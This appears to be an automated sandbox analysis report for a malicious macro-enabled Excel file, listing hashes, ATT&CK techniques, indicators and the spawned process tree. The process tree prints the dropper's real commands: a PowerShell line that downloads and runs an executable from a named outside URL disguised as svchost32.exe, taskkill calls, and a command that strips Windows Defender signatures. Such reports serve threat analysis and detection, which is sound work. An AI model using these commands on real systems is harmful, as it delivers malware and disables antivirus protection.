601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921

General

Target

b8f3bd05ba309b145a93bf03c3f97106_JaffaCakes118.xlsm
Size

28KB
MD5

b8f3bd05ba309b145a93bf03c3f97106
SHA1

c79a2d7427dbd7a05e1faf4e894dccfbf98304eb
SHA256

601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921
SHA512

aa6634f3699eb2d1ef2ff48cefb7864bf4466f28c5fedf6ad43d40d83e5b509ad5f378d06145f2bcbb01a92a95dda7aea980db9af0cfe1cc5bcd90f2e9325d6f
SSDEEP

768:+qDDovTEQ1MCf2W962F/XrNoa7PD3n4+KVj:+iCrMCo2F/PD34FVj

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/16.exe

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2840	1540	powershell.exe	28
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2864	1540	cmd.exe	28
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2888	1540	powershell.exe	28
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1284	1540	cmd.exe	28

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
2840	powershell.exe
2888	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
2736	taskkill.exe
1624	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1540	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2888	powershell.exe
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	taskkill.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	1624	taskkill.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1540	EXCEL.EXE
1540	EXCEL.EXE
1540	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 2840	1540	EXCEL.EXE	29
PID 1540 wrote to memory of 2840	1540	EXCEL.EXE	29
PID 1540 wrote to memory of 2840	1540	EXCEL.EXE	29
PID 1540 wrote to memory of 2840	1540	EXCEL.EXE	29
PID 1540 wrote to memory of 2864	1540	EXCEL.EXE	30
PID 1540 wrote to memory of 2864	1540	EXCEL.EXE	30
PID 1540 wrote to memory of 2864	1540	EXCEL.EXE	30
PID 1540 wrote to memory of 2864	1540	EXCEL.EXE	30
PID 1540 wrote to memory of 2888	1540	EXCEL.EXE	33
PID 1540 wrote to memory of 2888	1540	EXCEL.EXE	33
PID 1540 wrote to memory of 2888	1540	EXCEL.EXE	33
PID 1540 wrote to memory of 2888	1540	EXCEL.EXE	33
PID 1540 wrote to memory of 1284	1540	EXCEL.EXE	34
PID 1540 wrote to memory of 1284	1540	EXCEL.EXE	34
PID 1540 wrote to memory of 1284	1540	EXCEL.EXE	34
PID 1540 wrote to memory of 1284	1540	EXCEL.EXE	34
PID 2864 wrote to memory of 2736	2864	cmd.exe	37
PID 2864 wrote to memory of 2736	2864	cmd.exe	37
PID 2864 wrote to memory of 2736	2864	cmd.exe	37
PID 2864 wrote to memory of 2736	2864	cmd.exe	37
PID 2888 wrote to memory of 1624	2888	powershell.exe	39
PID 2888 wrote to memory of 1624	2888	powershell.exe	39
PID 2888 wrote to memory of 1624	2888	powershell.exe	39
PID 2888 wrote to memory of 1624	2888	powershell.exe	39

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b8f3bd05ba309b145a93bf03c3f97106_JaffaCakes118.xlsm
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/16.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im winword.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2736
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files (x86)\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  PID:1284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
078c407ddd2e5799b41c1399458fc13e

SHA1
1b6bb8b43e8dec6556d37b8972a3ae71923b2797

SHA256
1cecaa87ef047f8cbca1a01e8da4ccf67803e53afdf75fc0358f693c77ac5395

SHA512
279d766b278c56b25767536b5d2f84bffd2e3d728426964dd233f305f2ca96734c48420ba86a7d5c26058e20eda449117c02e10ec185ac566dc895594e8ae8be

Download Submit
memory/1540-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1540-1-0x00000000724AD000-0x00000000724B8000-memory.dmp

Filesize
44KB

Download
memory/1540-22-0x00000000068F0000-0x00000000069F0000-memory.dmp

Filesize
1024KB

Download
memory/1540-25-0x00000000068F0000-0x00000000069F0000-memory.dmp

Filesize
1024KB

Download
memory/1540-26-0x00000000068F0000-0x00000000069F0000-memory.dmp

Filesize
1024KB

Download
memory/1540-24-0x00000000068F0000-0x00000000069F0000-memory.dmp

Filesize
1024KB

Download
memory/1540-23-0x00000000068F0000-0x00000000069F0000-memory.dmp

Filesize
1024KB

Download
memory/1540-34-0x00000000724AD000-0x00000000724B8000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing